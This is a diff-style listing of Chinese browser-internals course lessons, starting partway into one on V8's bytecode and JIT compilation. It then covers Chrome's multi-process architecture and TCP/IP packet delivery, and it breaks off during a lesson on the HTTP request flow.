**字节码就是介于AST和机器码之间的一种代码。但是与特定类型的机器码无关字节码需要通过解释器将其转换为机器码后才能执行。**
理解了什么是字节码,我们再来对比下高级代码、字节码和机器码,你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/87/ff/87d1ab147d1dc4b78488e2443d58a3ff.png" alt="">
从图中可以看出,机器码所占用的空间远远超过了字节码,所以使用字节码可以减少系统的内存使用。
### 3. 执行代码
生成字节码之后,接下来就要进入执行阶段了。
通常如果有一段第一次执行的字节码解释器Ignition会逐条解释执行。到了这里相信你已经发现了解释器Ignition除了负责生成字节码之外它还有另外一个作用就是解释执行字节码。在Ignition执行字节码的过程中如果发现有热点代码HotSpot比如一段代码被重复执行多次这种就称为**热点代码**那么后台的编译器TurboFan就会把该段热点的字节码编译为高效的机器码然后当再次执行这段被优化的代码时只需要执行编译后的机器码就可以了这样就大大提升了代码的执行效率。
V8的解释器和编译器的取名也很有意思。解释器Ignition是点火器的意思编译器TurboFan是涡轮增压的意思寓意着代码启动时通过点火器慢慢发动一旦启动涡轮增压介入其执行效率随着执行时间越来越高效率因为热点代码都被编译器TurboFan转换了机器码直接执行机器码就省去了字节码“翻译”为机器码的过程。
其实字节码配合解释器和编译器是最近一段时间很火的技术比如Java和Python的虚拟机也都是基于这种技术实现的我们把这种技术称为**即时编译JIT**。具体到V8就是指解释器Ignition在解释执行字节码的同时收集代码信息当它发现某一部分代码变热了之后TurboFan编译器便闪亮登场把热点的字节码转换为机器码并把转换后的机器码保存起来以备下次使用。
对于JavaScript工作引擎除了V8使用了“字节码+JIT”技术之外苹果的SquirrelFish Extreme和Mozilla的SpiderMonkey也都使用了该技术。
这么多语言的工作引擎都使用了“字节码+JIT”技术因此理解JIT这套工作机制还是很有必要的。你可以结合下图看看JIT的工作过程
<img src="https://static001.geekbang.org/resource/image/66/8a/662413313149f66fe0880113cb6ab98a.png" alt="">
## JavaScript的性能优化
到这里相信你现在已经了解V8是如何执行一段JavaScript代码的了。在过去几年中JavaScript的性能得到了大幅提升这得益于V8团队对解释器和编译器的不断改进和优化。
虽然在V8诞生之初也出现过一系列针对V8而专门优化JavaScript性能的方案比如隐藏类、内联缓存等概念都是那时候提出来的。不过随着V8的架构调整你越来越不需要这些微优化策略了相反对于优化JavaScript执行效率你应该将优化的中心聚焦在单次脚本的执行时间和脚本的网络下载上主要关注以下三点内容
1. 提升单次脚本的执行速度避免JavaScript的长任务霸占主线程这样可以使得页面快速响应交互
1. 避免大的内联脚本因为在解析HTML的过程中解析和编译也会占用主线程
1. 减少JavaScript文件的容量因为更小的文件会提升下载速度并且占用更低的内存。
## 总结
好了,今天就讲到这里,下面我来总结下今天的内容。
- 首先我们介绍了编译器和解释器的区别。
- 紧接着又详细分析了V8是如何执行一段JavaScript代码的V8依据JavaScript代码生成AST和执行上下文再基于AST生成字节码然后通过解释器执行字节码通过编译器来优化编译字节码。
- 基于字节码和编译器我们又介绍了JIT技术。
- 最后我们延伸说明了下优化JavaScript性能的一些策略。
之所以在本专栏里讲V8的执行流程是因为我觉得编译器和解释器的相关概念和理论对于程序员来说至关重要向上能让你充分理解一些前端应用的本质向下能打开计算机编译原理的大门。通过这些知识的学习能让你将很多模糊的概念关联起来使其变得更加清楚从而拓宽视野上升到更高的层次。
## 思考时间
最后留给你个思考题你是怎么理解“V8执行时间越久执行效率越高”这个性质的
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,215 @@
<audio id="audio" title="01 | Chrome架构仅仅打开了1个页面为什么有4个进程" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/91/fc/910d08530719470e929a34ab57d281fc.mp3"></audio>
无论你是想要设计高性能Web应用还是要优化现有的Web应用你都需要了解浏览器中的网络流程、页面渲染过程JavaScript执行流程以及Web安全理论而这些功能是分散在浏览器的各个功能组件中的比较多、比较散要怎样学习才能掌握呢通过浏览器的多进程架构的学习你就可以把这些分散的知识点串起来组成一张网从而让自己能站在更高的维度去理解Web应用。
因此,**学习浏览器的多进程架构是很有必要的**。需要说明的是,**在本专栏中我所有的分析都是基于Chrome浏览器的**。那么多浏览器为什么偏偏选择Chrome浏览器呢因为Chrome、微软的Edge以及国内的大部分主流浏览器都是基于Chromium二次开发而来而Chrome是Google的官方发行版特性和Chromium基本一样只存在一些产品层面差异再加上Chrome是目前世界上使用率最高的浏览器所以**Chrome最具代表性**。
在开始之前我们一起看下Chrome打开一个页面需要启动多少进程你可以点击Chrome浏览器右上角的“选项”菜单选择“更多工具”子菜单点击“任务管理器”这将打开Chrome的任务管理器的窗口如下图
<img src="https://static001.geekbang.org/resource/image/ce/9e/ce7f8cfe212bec0f53360422e3b03a9e.png" alt="">
和Windows任务管理器一样Chrome任务管理器也是用来展示运行中Chrome使用的进程信息的。从图中可以看到Chrome启动了4个进程你也许会好奇只是打开了1个页面为什么要启动这么多进程呢
在解答这个问题之前,我们需要了解一下进程的概念,不过由于好多人容易把进程和线程的概念混淆,从而影响后续其他概念的理解,所以这里我就将这两个概念以及它们之间的关系一并为你讲解下。
## 进程和线程
不过,在介绍进程和线程之前,我需要先讲解下什么是并行处理,因为如果你理解了并行处理的概念,那么再理解进程和线程之间的关系就会变得轻松许多。
### 什么是并行处理
计算机中的并行处理就是同一时刻处理多个任务,比如我们要计算下面这三个表达式的值,并显示出结果。
```
A = 1+2
B = 20/5
C = 7*8
```
在编写代码的时候,我们可以把这个过程拆分为四个任务:
- **任务1 **是计算A=1+2
- **任务2 **是计算B=20/5
- **任务3 **是计算C=7*8
- **任务4 **是显示最后计算的结果。
正常情况下程序可以使用**单线程**来处理,也就是分四步按照顺序分别执行这四个任务。
如果采用**多线程**,会怎么样呢?我们只需分“两步走”:第一步,使用三个线程同时执行前三个任务;第二步,再执行第四个显示任务。
通过对比分析,你会发现用单线程执行需要四步,而使用多线程只需要两步。因此,**使用并行处理能大大提升性能**。
### 线程 VS 进程
多线程可以并行处理任务,但是**线程是不能单独存在的,它是由进程来启动和管理的**。那什么又是进程呢?
**一个进程就是一个程序的运行实例**。详细解释就是,启动一个程序的时候,操作系统会为该程序创建一块内存,用来存放代码、运行中的数据和一个执行任务的主线程,我们把这样的一个运行环境叫**进程**。
为了让你更好地理解上述计算过程,我画了下面这张对比图:
<img src="https://static001.geekbang.org/resource/image/33/da/3380f0a16c323deda5d3a300804b95da.png" alt="">
从图中可以看到,**线程是依附于进程的,而进程中使用多线程并行处理能提升运算效率**。
总结来说进程和线程之间的关系有以下4个特点。
**1. 进程中的任意一线程执行出错,都会导致整个进程的崩溃。**
我们可以模拟以下场景:
```
A = 1+2
B = 20/0
C = 7*8
```
我把上述三个表达式稍作修改在计算B的值的时候我把表达式的分母改成0当线程执行到B = 20/0时由于分母为0线程会执行出错这样就会导致整个进程的崩溃当然另外两个线程执行的结果也没有了。
**2. 线程之间共享进程中的数据。**
如下图所示,线程之间可以对进程的公共数据进行读写操作。
<img src="https://static001.geekbang.org/resource/image/d0/9e/d0efacd7f299ed99e776cb97da2a799e.png" alt="">
从上图可以看出线程1、线程2、线程3分别把执行的结果写入A、B、C中然后线程2继续从A、B、C中读取数据用来显示执行结果。
**3. 当一个进程关闭之后,操作系统会回收进程所占用的内存。**
当一个进程退出时,操作系统会回收该进程所申请的所有资源;即使其中任意线程因为操作不当导致内存泄漏,当进程退出时,这些内存也会被正确回收。
比如之前的IE浏览器支持很多插件而这些插件很容易导致内存泄漏这意味着只要浏览器开着内存占用就有可能会越来越多但是当关闭浏览器进程时这些内存就都会被系统回收掉。
**4. 进程之间的内容相互隔离。**
进程隔离是为保护操作系统中进程互不干扰的技术每一个进程只能访问自己占有的数据也就避免出现进程A写入数据到进程B的情况。正是因为进程之间的数据是严格隔离的所以一个进程如果崩溃了或者挂起了是不会影响到其他进程的。如果进程之间需要进行数据的通信这时候就需要使用用于进程间通信IPC的机制了。
## 单进程浏览器时代
在了解了进程和线程之后,我们再来一起看下单进程浏览器的架构。顾名思义,**单进程浏览器是指浏览器的所有功能模块都是运行在同一个进程里**这些模块包含了网络、插件、JavaScript运行环境、渲染引擎和页面等。其实早在2007年之前市面上浏览器都是单进程的。单进程浏览器的架构如下图所示
<img src="https://static001.geekbang.org/resource/image/6d/ca/6ddad2419b049b0eb2a8036f3dfff1ca.png" alt="">
如此多的功能模块运行在一个进程里,是导致单进程浏览器**不稳定**、**不流畅**和**不安全**的一个主要因素。下面我就来一一分析下出现这些问题的原因。
### 问题1不稳定
早期浏览器需要借助于**插件**来实现诸如Web视频、Web游戏等各种强大的功能但是插件是最容易出问题的模块并且还运行在浏览器进程之中所以一个插件的意外崩溃会引起整个浏览器的崩溃。
除了插件之外,**渲染引擎模块**也是不稳定的通常一些复杂的JavaScript代码就有可能引起渲染引擎模块的崩溃。和插件一样渲染引擎的崩溃也会导致整个浏览器的崩溃。
### 问题2不流畅
从上面的“单进程浏览器架构示意图”可以看出所有页面的渲染模块、JavaScript执行环境以及插件都是运行在同一个线程中的这就意味着同一时刻只能有一个模块可以执行。
比如,下面这个无限循环的脚本:
```
function freeze() {
while (1) {
console.log(&quot;freeze&quot;);
}
}
freeze();
```
如果让这个脚本运行在一个单进程浏览器的页面里,你感觉会发生什么?
因为这个脚本是无限循环的,所以当其执行时,它会独占整个线程,这样导致其他运行在该线程中的模块就没有机会被执行。因为浏览器中所有的页面都运行在该线程中,所以这些页面都没有机会去执行任务,这样就会导致整个浏览器失去响应,变卡顿。这块内容要继续往深的地方讲就到页面的事件循环系统了,具体相关内容我会在后面的模块中为你深入讲解。
除了上述**脚本**或者**插件**会让单进程浏览器变卡顿外,**页面的内存泄漏**也是单进程变慢的一个重要原因。通常浏览器的内核都是非常复杂的,运行一个复杂点的页面再关闭页面,会存在内存不能完全回收的情况,这样导致的问题是使用时间越长,内存占用越高,浏览器会变得越慢。
### 问题3不安全
这里依然可以从插件和页面脚本两个方面来解释该原因。
插件可以使用C/C++等代码编写,通过插件可以获取到操作系统的任意资源,当你在页面运行一个插件时也就意味着这个插件能完全操作你的电脑。如果是个恶意插件,那么它就可以释放病毒、窃取你的账号密码,引发安全性问题。
至于页面脚本,它可以通过浏览器的漏洞来获取系统权限,这些脚本获取系统权限之后也可以对你的电脑做一些恶意的事情,同样也会引发安全问题。
以上这些就是当时浏览器的特点,不稳定,不流畅,而且不安全。这是一段不堪回首的过去,也许你没有经历过,不过你可以想象一下这样的场景:当你正在用浏览器打开多个页面时,突然某个页面崩溃了或者失去响应,随之而来的是整个浏览器的崩溃或者无响应,然后你发现你给老板写的邮件页面也随之消失了,这时你的心情会不会和页面一样崩溃呢?
## 多进程浏览器时代
好在现代浏览器已经解决了这些问题,是如何解决的呢?这就得聊聊我们这个“多进程浏览器时代”了。
### 早期多进程架构
你可以先看看下面这张图这是2008年Chrome发布时的进程架构。
<img src="https://static001.geekbang.org/resource/image/cd/60/cdc9215e6c6377fc965b7fac8c3ec960.png" alt="">
从图中可以看出Chrome的页面是运行在单独的渲染进程中的同时页面里的插件也是运行在单独的插件进程之中而进程之间是通过IPC机制进行通信如图中虚线部分
**我们先看看如何解决不稳定的问题。**由于进程是相互隔离的,所以当一个页面或者插件崩溃时,影响到的仅仅是当前的页面进程或者插件进程,并不会影响到浏览器和其他页面,这就完美地解决了页面或者插件的崩溃会导致整个浏览器崩溃,也就是不稳定的问题。
**接下来再来看看不流畅的问题是如何解决的。**同样JavaScript也是运行在渲染进程中的所以即使JavaScript阻塞了渲染进程影响到的也只是当前的渲染页面而并不会影响浏览器和其他页面因为其他页面的脚本是运行在它们自己的渲染进程中的。所以当我们再在Chrome中运行上面那个死循环的脚本时没有响应的仅仅是当前的页面。
对于内存泄漏的解决方法那就更简单了,因为当关闭一个页面时,整个渲染进程也会被关闭,之后该进程所占用的内存都会被系统回收,这样就轻松解决了浏览器页面的内存泄漏问题。
**最后我们再来看看上面的两个安全问题是怎么解决的**。采用多进程架构的额外好处是可以使用**安全沙箱**你可以把沙箱看成是操作系统给进程上了一把锁沙箱里面的程序可以运行但是不能在你的硬盘上写入任何数据也不能在敏感位置读取任何数据例如你的文档和桌面。Chrome把插件进程和渲染进程锁在沙箱里面这样即使在渲染进程或者插件进程里面执行了恶意程序恶意程序也无法突破沙箱去获取系统权限。
好了分析完早期的Chrome浏览器后相信你已经了解了浏览器采用多进程架构的必要性。
### 目前多进程架构
不过Chrome的发展是滚滚向前的相较之前目前的架构又有了很多新的变化。我们先看看最新的Chrome进程架构你可以参考下图
<img src="https://static001.geekbang.org/resource/image/b6/fc/b61cab529fa31301bde290813b4587fc.png" alt="">
从图中可以看出最新的Chrome浏览器包括1个浏览器Browser主进程、1个 GPU 进程、1个网络NetWork进程、多个渲染进程和多个插件进程。
下面我们来逐个分析下这几个进程的功能。
- **浏览器进程**。主要负责界面显示、用户交互、子进程管理,同时提供存储等功能。
- **渲染进程**。核心任务是将 HTML、CSS 和 JavaScript 转换为用户可以与之交互的网页排版引擎Blink和JavaScript引擎V8都是运行在该进程中默认情况下Chrome会为每个Tab标签创建一个渲染进程。出于安全考虑渲染进程都是运行在沙箱模式下。
- **GPU进程**。其实Chrome刚开始发布的时候是没有GPU进程的。而GPU的使用初衷是为了实现3D CSS的效果只是随后网页、Chrome的UI界面都选择采用GPU来绘制这使得GPU成为浏览器普遍的需求。最后Chrome在其多进程架构上也引入了GPU进程。
- **网络进程**。主要负责页面的网络资源加载,之前是作为一个模块运行在浏览器进程里面的,直至最近才独立出来,成为一个单独的进程。
- **插件进程**。主要是负责插件的运行,因插件易崩溃,所以需要通过插件进程来隔离,以保证插件进程崩溃不会对浏览器和页面造成影响。
讲到这里现在你应该就可以回答文章开头提到的问题了仅仅打开了1个页面为什么有4个进程因为打开1个页面至少需要1个网络进程、1个浏览器进程、1个GPU进程以及1个渲染进程共4个如果打开的页面有运行插件的话还需要再加上1个插件进程。
不过凡事都有两面性,虽然多进程模型提升了浏览器的稳定性、流畅性和安全性,但同样不可避免地带来了一些问题:
- **更高的资源占用**。因为每个进程都会包含公共基础结构的副本如JavaScript运行环境这就意味着浏览器会消耗更多的内存资源。
- **更复杂的体系架构**。浏览器各模块之间耦合性高、扩展性差等问题,会导致现在的架构已经很难适应新的需求了。
对于上面这两个问题Chrome团队一直在寻求一种弹性方案既可以解决资源占用高的问题也可以解决复杂的体系架构的问题。
### 未来面向服务的架构
为了解决这些问题在2016年Chrome官方团队使用“**面向服务的架构**”Services Oriented Architecture简称**SOA**的思想设计了新的Chrome架构。也就是说 Chrome 整体架构会朝向现代操作系统所采用的“面向服务的架构” 方向发展原来的各种模块会被重构成独立的服务Service每个服务Service都可以在独立的进程中运行访问服务Service必须使用定义好的接口通过IPC来通信从而**构建一个更内聚、松耦合、易于维护和扩展的系统**,更好实现 Chrome 简单、稳定、高速、安全的目标。如果你对面向服务的架构感兴趣,你可以去网上搜索下资料,这里就不过多介绍了。
Chrome最终要把UI、数据库、文件、设备、网络等模块重构为基础服务类似操作系统底层服务下面是Chrome“面向服务的架构”的进程模型图
<img src="https://static001.geekbang.org/resource/image/32/2a/329658fe821252db47b0964037a1de2a.png" alt="">
目前Chrome正处在老的架构向服务化架构过渡阶段这将是一个漫长的迭代过程。
Chrome正在逐步构建Chrome基础服务Chrome Foundation Service如果你认为Chrome是“便携式操作系统”那么Chrome基础服务便可以被视为该操作系统的“基础”系统服务层。
同时Chrome还提供灵活的弹性架构在强大性能设备上会以多进程的方式运行基础服务但是如果在资源受限的设备上如下图Chrome会将很多服务整合到一个进程中从而节省内存占用。
<img src="https://static001.geekbang.org/resource/image/a9/76/a9ba86d7b03263fa3997d3733d958176.png" alt="">
## 总结
好了,今天就到这里,下面我来简要梳理并总结今天的内容。
本文我主要是从Chrome进程架构的视角分析了浏览器的进化史。
最初的浏览器都是单进程的它们不稳定、不流畅且不安全之后出现了Chrome创造性地引入了多进程架构并解决了这些遗留问题。随后Chrome试图应用到更多业务场景如移动设备、VR、视频等为了支持这些场景Chrome的架构体系变得越来越复杂这种架构的复杂性倒逼Chrome开发团队必须进行架构的重构最终Chrome团队选择了面向服务架构SOA形式这也是Chrome团队现阶段的一个主要任务。
鉴于目前架构的复杂性要完整过渡到面向服务架构估计还需要好几年时间才能完成。不过Chrome开发是一个渐进的过程新的特性会一点点加入进来这也意味着我们随时能看到Chrome新的变化。
总体说来,**Chrome是以一个非常快速的速度在进化越来越多的业务和应用都逐渐转至浏览器来开发身为开发人员我们不能坐视不管而应该紧跟其步伐收获这波技术红利**。
## 思考时间
最后,给你留个思考题:回顾浏览器的进化路线,你认为推动浏览器发展的主要动力是什么?
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,113 @@
<audio id="audio" title="02 | TCP协议如何保证页面文件能被完整送达浏览器" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/98/ab/989fd02dfaccd7c08555afd3ee2138ab.mp3"></audio>
在衡量Web页面性能的时候有一个重要的指标叫“**FPFirst Paint**”,是**指从页面加载到首次开始绘制的时长**。这个指标直接影响了用户的跳出率更快的页面响应意味着更多的PV、更高的参与度以及更高的转化率。那什么影响FP指标呢其中一个重要的因素是**网络加载速度**。
要想优化Web页面的加载速度你需要对网络有充分的了解。而理解网络的关键是要对网络协议有深刻的认识不管你是使用HTTP还是使用WebSocket它们都是基于TCP/IP的如果你对这些原理有足够了解也就清楚如何去优化Web性能或者能更轻松地定位Web问题了。此外TCP/IP的设计思想还有助于拓宽你的知识边界从而在整体上提升你对项目的理解和解决问题的能力。
因此,在这篇文章中,我会给你**重点介绍在Web世界中的TCP/IP是如何工作的**。当然协议并不是本专栏的重点这篇文章我会从我的角度结合HTTP来分析网络请求的核心路径如果你想对网络协议有更深入的理解那我推荐你学习刘超老师的《趣谈网络协议》专栏以及陶辉老师的《Web协议详解与抓包实战》视频课程。
好,接下来我们回到正题,开始今天的内容。在网络中,一个文件通常会被拆分为很多数据包来进行传输,而数据包在传输过程中又有很大概率丢失或者出错。**那么如何保证页面文件能被完整地送达浏览器呢?**
这篇文章将站在数据包的视角,给出问题答案。
## 一个数据包的“旅程”
下面我将分别从“数据包如何送达主机”“主机如何将数据包转交给应用”和“数据是如何被完整地送达应用程序”这三个角度来为你讲述数据的传输过程。
**互联网,实际上是一套理念和协议组成的体系架构**。其中,协议是一套众所周知的规则和标准,如果各方都同意使用,那么它们之间的通信将变得毫无障碍。
互联网中的数据是通过数据包来传输的。如果发送的数据很大,那么该数据就会被拆分为很多小数据包来传输。比如你现在听的音频数据,是拆分成一个个小的数据包来传输的,并不是一个大的文件一次传输过来的。
### 1. IP把数据包送达目的主机
数据包要在互联网上进行传输,就要符合**网际协议**Internet Protocol简称**IP**)标准。互联网上不同的在线设备都有唯一的地址,地址只是一个数字,这和大部分家庭收件地址类似,你只需要知道一个家庭的具体地址,就可以往这个地址发送包裹,这样物流系统就能把物品送到目的地。
**计算机的地址就称为IP地址访问任何网站实际上只是你的计算机向另外一台计算机请求信息。**
如果要想把一个数据包从主机A发送给主机B那么在传输之前数据包上会被附加上主机B的IP地址信息这样在传输过程中才能正确寻址。额外地数据包上还会附加上主机A本身的IP地址有了这些信息主机B才可以回复信息给主机A。这些附加的信息会被装进一个叫IP头的数据结构里。IP头是IP数据包开头的信息包含IP版本、源IP地址、目标IP地址、生存时间等信息。如果你要详细了解IP头信息可以参考[该链接](https://zh.wikipedia.org/wiki/%E4%BC%A0%E8%BE%93%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE)。
为了方便理解,我先把网络简单分为三层结构,如下图:
<img src="https://static001.geekbang.org/resource/image/00/4d/00d9bcad0bda1fdb43ead428e89ae74d.png" alt="">
下面我们一起来看下一个数据包从主机A到主机B的旅程
- 上层将含有“极客时间”的数据包交给网络层;
- 网络层再将IP头附加到数据包上组成新的 **IP数据包**,并交给底层;
- 底层通过物理网络将数据包传输给主机B
- 数据包被传输到主机B的网络层在这里主机B拆开数据包的IP头信息并将拆开来的数据部分交给上层
- 最终含有“极客时间”信息的数据包就到达了主机B的上层了。
### 2. UDP把数据包送达应用程序
IP是非常底层的协议只负责把数据包传送到对方电脑但是对方电脑并不知道把数据包交给哪个程序是交给浏览器还是交给王者荣耀因此需要基于IP之上开发能和应用打交道的协议最常见的是“**用户数据包协议**User Datagram Protocol简称**UDP**。
UDP中一个最重要的信息是**端口号**端口号其实就是一个数字每个想访问网络的程序都需要绑定一个端口号。通过端口号UDP就能把指定的数据包发送给指定的程序了所以**IP通过IP地址信息把数据包发送给指定的电脑而UDP通过端口号把数据包分发给正确的程序**。和IP头一样端口号会被装进UDP头里面UDP头再和原始数据包合并组成新的UDP数据包。UDP头中除了目的端口还有源端口号等信息。
为了支持UDP协议我把前面的三层结构扩充为四层结构在网络层和上层之间增加了传输层如下图所示
<img src="https://static001.geekbang.org/resource/image/3e/ea/3edb673a43f23d84253c52124ce447ea.png" alt="">
下面我们一起来看下一个数据包从主机A旅行到主机B的路线
- 上层将含有“极客时间”的数据包交给传输层;
- 传输层会在数据包前面附加上**UDP头**组成新的UDP数据包再将新的UDP数据包交给网络层
- 网络层再将IP头附加到数据包上组成新的IP数据包并交给底层
- 数据包被传输到主机B的网络层在这里主机B拆开IP头信息并将拆开来的数据部分交给传输层
- 在传输层数据包中的UDP头会被拆开**并根据UDP中所提供的端口号把数据部分交给上层的应用程序**
- 最终含有“极客时间”信息的数据包就旅行到了主机B上层应用程序这里。
在使用UDP发送数据时有各种因素会导致数据包出错虽然UDP可以校验数据是否正确但是对于错误的数据包UDP并不提供重发机制只是丢弃当前的包而且UDP在发送之后也无法知道是否能达到目的地。
虽说**UDP不能保证数据可靠性但是传输速度却非常快**所以UDP会应用在一些关注速度、但不那么严格要求数据完整性的领域如在线视频、互动游戏等。
### 3. TCP把数据完整地送达应用程序
对于浏览器请求或者邮件这类要求数据传输可靠性reliability的应用如果使用UDP来传输会存在**两个问题**
- 数据包在传输过程中容易丢失;
- 大文件会被拆分成很多小的数据包来传输这些小的数据包会经过不同的路由并在不同的时间到达接收端而UDP协议并不知道如何组装这些数据包从而把这些数据包还原成完整的文件。
基于这两个问题我们引入TCP了。**TCPTransmission Control Protocol传输控制协议是一种面向连接的、可靠的、基于字节流的传输层通信协议**。相对于UDPTCP有下面两个特点:
- 对于数据包丢失的情况TCP提供重传机制
- TCP引入了数据包排序机制用来保证把乱序的数据包组合成一个完整的文件。
和UDP头一样TCP头除了包含了目标端口和本机端口号外还提供了用于排序的序列号以便接收端通过序号来重排数据包。
下面看看TCP下的单个数据包的传输流程
<img src="https://static001.geekbang.org/resource/image/94/32/943ac29f7d5b45a8861b0cde5da99032.png" alt="">
通过上图你应该可以了解一个数据包是如何通过TCP来传输的。TCP单个数据包的传输流程和UDP流程差不多不同的地方在于通过TCP头的信息保证了一块大的数据传输的完整性。
下面我们再看下**完整的TCP连接过程**通过这个过程你可以明白TCP是如何保证重传机制和数据包的排序功能的。
从下图可以看出一个完整的TCP连接的生命周期包括了“**建立连接**”“**传输数据**”和“**断开连接**”三个阶段。
<img src="https://static001.geekbang.org/resource/image/44/44/440ee50de56edc27c6b3c992b3a25844.png" alt="">
- **首先,建立连接阶段**。这个阶段是通过“三次握手”来建立客户端和服务器之间的连接。TCP 提供面向连接的通信传输。**面向连接**是指在数据通信开始之前先做好两端之间的准备工作。所谓**三次握手**是指在建立一个TCP连接时客户端和服务器总共要发送三个数据包以确认连接的建立。
- **其次,传输数据阶段**。在该阶段,**接收端需要对每个数据包进行确认操作**也就是接收端在接收到数据包之后需要发送确认数据包给发送端。所以当发送端发送了一个数据包之后在规定时间内没有接收到接收端反馈的确认消息则判断为数据包丢失并触发发送端的重发机制。同样一个大的文件在传输过程中会被拆分成很多小的数据包这些数据包到达接收端后接收端会按照TCP头中的序号为其排序从而保证组成完整的数据。
- **最后,断开连接阶段**。数据传输完毕之后,就要终止连接了,涉及到最后一个阶段“四次挥手”来保证双方都能断开连接。
到这里你应该就明白了TCP为了保证数据传输的可靠性牺牲了数据包的传输速度因为“三次握手”和“数据包校验机制”等把传输过程中的数据包的数量提高了一倍。
## 总结
好了,这一节就到这里,下面我来做一个简单的总结。
- 互联网中的数据是通过数据包来传输的,数据包在传输过程中容易丢失或出错。
- IP负责把数据包送达目的主机。
- UDP负责把数据包送达具体应用。
- 而TCP保证了数据完整地传输它的连接可分为三个阶段建立连接、传输数据和断开连接。
其实了解TCP协议是为了全方位了解HTTP包括其实际功能和局限性之后才会更加深刻地理解为什么要推出HTTP/2以及为什么要推出QUIC协议也就是未来的HTTP/3。这是一个由浅入深、循序渐进的过程我希望你能稳扎稳打学好这每一步、每一个协议后面“水到自然渠成”。
## 思考时间
今天这篇文章我没有讲HTTP协议但是相信你应该听说过HTTP协议是基于TCP协议的那么今天我留给你的问题是你怎么理解HTTP和TCP的关系
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,238 @@
<audio id="audio" title="03 | HTTP请求流程为什么很多站点第二次打开速度会很快" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/12/c1/12a2874ebd1664a4d9a790fdbcf1d6c1.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/113550)中我介绍了TCP协议是如何保证数据完整传输的相信你还记得一个TCP连接过程包括了建立连接、传输数据和断开连接三个阶段。
而HTTP协议正是建立在TCP连接基础之上的。**HTTP是一种允许浏览器向服务器获取资源的协议是Web的基础**通常由浏览器发起请求用来获取不同类型的文件例如HTML文件、CSS文件、JavaScript文件、图片、视频等。此外**HTTP也是浏览器使用最广的协议**所以要想学好浏览器就要先深入了解HTTP。
不知道你是否有过下面这些疑问:
1. 为什么通常在第一次访问一个站点时,打开速度很慢,当再次访问这个站点时,速度就很快了?
1. 当登录过一个网站之后,下次再访问该站点,就已经处于登录状态了,这是怎么做到的呢?
这一切的秘密都隐藏在HTTP的请求过程中。所以在今天这篇文章中我将通过分析一个HTTP请求过程中每一步的状态来带你了解完整的HTTP请求过程希望你看完这篇文章后能够对HTTP协议有个全新的认识。
## 浏览器端发起HTTP请求流程
如果你在浏览器地址栏里键入极客时间网站的地址:[http://time.geekbang.org/index.html](http://time.geekbang.org/index.html%EF%BC%8C) 那么接下来,浏览器会完成哪些动作呢?下面我们就一步一步详细“追踪”下。
### 1. 构建请求
首先,浏览器构建**请求行**信息(如下所示),构建好后,浏览器准备发起网络请求。
```
GET /index.html HTTP1.1
```
### 2. 查找缓存
在真正发起网络请求之前,浏览器会先在浏览器缓存中查询是否有要请求的文件。其中,**浏览器缓存是一种在本地保存资源副本,以供下次请求时直接使用的技术**。
当浏览器发现请求的资源已经在浏览器缓存中存有副本,它会拦截请求,返回该资源的副本,并直接结束请求,而不会再去源服务器重新下载。这样做的好处有:
- 缓解服务器端压力,提升性能(获取资源的耗时更短了);
- 对于网站来说,缓存是实现快速资源加载的重要组成部分。
当然,如果缓存查找失败,就会进入网络请求过程了。
### 3. 准备IP地址和端口
不过先不急在了解网络请求之前我们需要先看看HTTP和TCP的关系。因为浏览器使用**HTTP协议作为应用层协议**,用来封装请求的文本信息;并使用**TCP/IP作传输层协议**将它发到网络上所以在HTTP工作开始之前浏览器需要通过TCP与服务器建立连接。也就是说**HTTP的内容是通过TCP的传输数据阶段来实现的**,你可以结合下图更好地理解这二者的关系。
<img src="https://static001.geekbang.org/resource/image/12/80/1277f342174b23f9442d3b27016d7980.png" alt="">
那接下来你可以思考这么“一连串”问题:
- HTTP网络请求的第一步是做什么呢结合上图看是和服务器建立TCP连接。
- 那建立连接的信息都有了吗?[上一篇文章](https://time.geekbang.org/column/article/113550)中我们讲到建立TCP连接的第一步就是需要准备IP地址和端口号。
- 那怎么获取IP地址和端口号呢这得看看我们现在有什么我们有一个URL地址那么是否可以利用URL地址来获取IP和端口信息呢
在[上一篇文章](https://time.geekbang.org/column/article/113550)中我们介绍过数据包都是通过IP地址传输给接收方的。由于IP地址是数字标识比如极客时间网站的IP是39.106.233.176, 难以记忆但使用极客时间的域名time.geekbang.org就好记多了所以基于这个需求又出现了一个服务负责把域名和IP地址做一一映射关系。这套域名映射为IP的系统就叫做“**域名系统**”,简称**DNS**Domain Name System
所以,这样一路推导下来,你会发现在**第一步浏览器会请求DNS返回域名对应的IP**。当然浏览器还提供了**DNS数据缓存服务**,如果某个域名已经解析过了,那么浏览器会缓存解析的结果,以供下次查询时直接使用,这样也会减少一次网络请求。
拿到IP之后接下来就需要获取端口号了。通常情况下如果URL没有特别指明端口号那么HTTP协议默认是80端口。
### 4. 等待TCP队列
现在已经把端口和IP地址都准备好了那么下一步是不是可以建立TCP连接了呢
答案依然是“不行”。Chrome有个机制同一个域名同时最多只能建立6个TCP连接如果在同一个域名下同时有10个请求发生那么其中4个请求会进入排队等待状态直至进行中的请求完成。
当然如果当前请求数量少于6会直接进入下一步建立TCP连接。
### 5. 建立TCP连接
排队等待结束之后终于可以快乐地和服务器握手了在HTTP工作开始之前浏览器通过TCP与服务器建立连接。而TCP的工作方式我在[上一篇文章](https://time.geekbang.org/column/article/113550)中已经做过详细介绍了,如果有必要,你可以自行回顾下,这里我就不再重复讲述了。
### 6. 发送HTTP请求
一旦建立了TCP连接浏览器就可以和服务器进行通信了。而HTTP中的数据正是在这个通信过程中传输的。
你可以结合下图来理解,浏览器是如何发送请求信息给服务器的。
<img src="https://static001.geekbang.org/resource/image/b8/d7/b8993c73f7b60feb9b8bd147545c47d7.png" alt="">
